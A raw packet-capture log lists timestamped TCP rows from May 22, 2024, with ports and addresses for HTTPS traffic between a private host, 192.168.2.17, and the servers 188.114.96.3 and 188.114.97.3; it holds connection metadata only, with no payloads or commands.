May 22, 2024 20:02:15.026292086 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.026516914 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.026526928 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.026864052 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.027117968 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.027182102 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.027218103 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.060158014 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.070518970 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.076169014 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.349149942 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.351634026 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.351701975 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.351727962 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.354312897 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.354449034 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.354460001 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.358131886 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.358223915 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.358237982 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.361129999 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.361177921 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.361187935 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.361413002 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.363575935 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.363687992 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.363697052 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.365885019 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.365982056 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.365988970 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.367896080 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.368010044 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.368017912 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.369916916 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.370505095 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.370512009 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.371865034 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.372817993 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.372828960 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.373927116 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.373981953 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.373995066 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.375736952 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.375809908 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.375868082 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.375874043 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.375922918 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.381108999 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.381164074 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.381175041 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.381203890 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.381227970 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.381258011 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.381267071 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.382499933 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.383704901 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.384634018 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.384670019 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.384691000 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.384700060 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.384820938 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.391206980 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.391266108 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.391310930 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.391915083 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.391930103 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.439733982 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.440202951 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.440278053 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.440294027 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.441344976 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.441406012 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.441412926 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.442070961 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.442121983 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.442128897 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.443306923 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.443353891 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.443361044 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.491223097 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.491246939 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.539207935 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.664696932 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.665608883 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.665671110 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.665702105 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.666662931 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.666951895 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.666964054 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.670464993 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.670521021 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.670533895 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.670562983 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.670649052 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.670713902 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.670713902 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.670727015 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.671292067 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.671603918 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672130108 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672235012 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.672245026 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672462940 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672775984 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672785044 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.672795057 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.672836065 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.672841072 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.673882008 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.673912048 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.673923969 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.673943996 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.673964024 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.673969984 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.674040079 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.674040079 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.674271107 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.674320936 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.674334049 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.675209999 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.675262928 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.675271034 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.675285101 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.675417900 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.675532103 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.675539970 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.677598000 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.677614927 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.677861929 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.677861929 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.677886009 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.772206068 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.781725883 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.781817913 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.781831026 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.781853914 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.781896114 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.791434050 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.795101881 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.795191050 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.795212984 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.802330971 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.802392960 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.802411079 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.809510946 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.809566021 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.809576988 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.815376997 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.815418005 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.815437078 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.815448999 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.815485954 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.820781946 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.827860117 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.827900887 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.827919960 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.827943087 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.827990055 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.832051039 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.837599993 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.837658882 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.837672949 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.843099117 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.843185902 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.843209982 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.843224049 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.843265057 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.843272924 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.849984884 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.850095987 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.850163937 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.850390911 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.851032019 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.851047993 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.853214979 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.853307962 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.853532076 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.853534937 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.853656054 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.853993893 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.854011059 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.866750002 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.866813898 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.866869926 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.866883039 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.871175051 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.871241093 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.871249914 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.875348091 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.875397921 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.875405073 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.875463009 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.875503063 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.876235008 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.876241922 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.891189098 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.103858948 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.105269909 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.105340958 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.105350018 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.106384993 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.106436014 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.106442928 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.106569052 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.106614113 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.106620073 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.108254910 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.108324051 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.108330011 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.108375072 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.109019041 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.109086990 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.110260963 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.110332966 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.111141920 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.111217976 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.113831043 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.113895893 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.113902092 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.113944054 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.114005089 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.114037991 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.114048004 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.114057064 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.114092112 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.117468119 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.117491007 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.117573023 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.117795944 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.117809057 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.150598049 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.150947094 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.150968075 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.151454926 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.151901007 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.151901007 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.151926041 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.151985884 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.203318119 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.208466053 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.208769083 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.208785057 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.209881067 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.210155964 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.210275888 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.210289001 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.210330009 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.251439095 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.549160004 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.549242020 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.549329042 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.550503016 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.550523043 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.600687981 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.602516890 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.602545023 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.605494022 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.605567932 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.605829954 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.605907917 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.605971098 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.605981112 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:16.650238991 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:16.923075914 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.923156977 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:16.923271894 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.923573017 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:16.923603058 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.254890919 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.254951000 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255011082 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255018950 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.255033970 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255072117 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.255160093 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255825043 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255861998 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255881071 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.255888939 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.255930901 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.256174088 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.262196064 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.262224913 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.262247086 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.262255907 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.262301922 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.408832073 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.409198046 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:17.409212112 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.409553051 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.409986973 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:17.410047054 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.410423040 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:17.450517893 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:17.585443020 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.586744070 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.586822987 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.586843967 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.588177919 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.588241100 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.588249922 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.588978052 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.589039087 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.589046001 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.591682911 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.591721058 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.591749907 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.591766119 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.591809988 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.591815948 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.593823910 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.593863010 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.593885899 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.593893051 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.593939066 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.595031977 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.599001884 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.599086046 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.599095106 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.599771976 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.599833012 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.599839926 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.600811958 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.600867033 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.600883007 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.605654955 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.605725050 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.605731964 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.655235052 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.715460062 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.716063023 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.716139078 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.716152906 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.716754913 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.716810942 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.716816902 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.719271898 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.719304085 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.719327927 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.719332933 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.719371080 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.721012115 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.721196890 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.721213102 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.721246004 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.721251011 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.721296072 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.922430038 CEST	443	59922	188.114.96.3	192.168.2.17
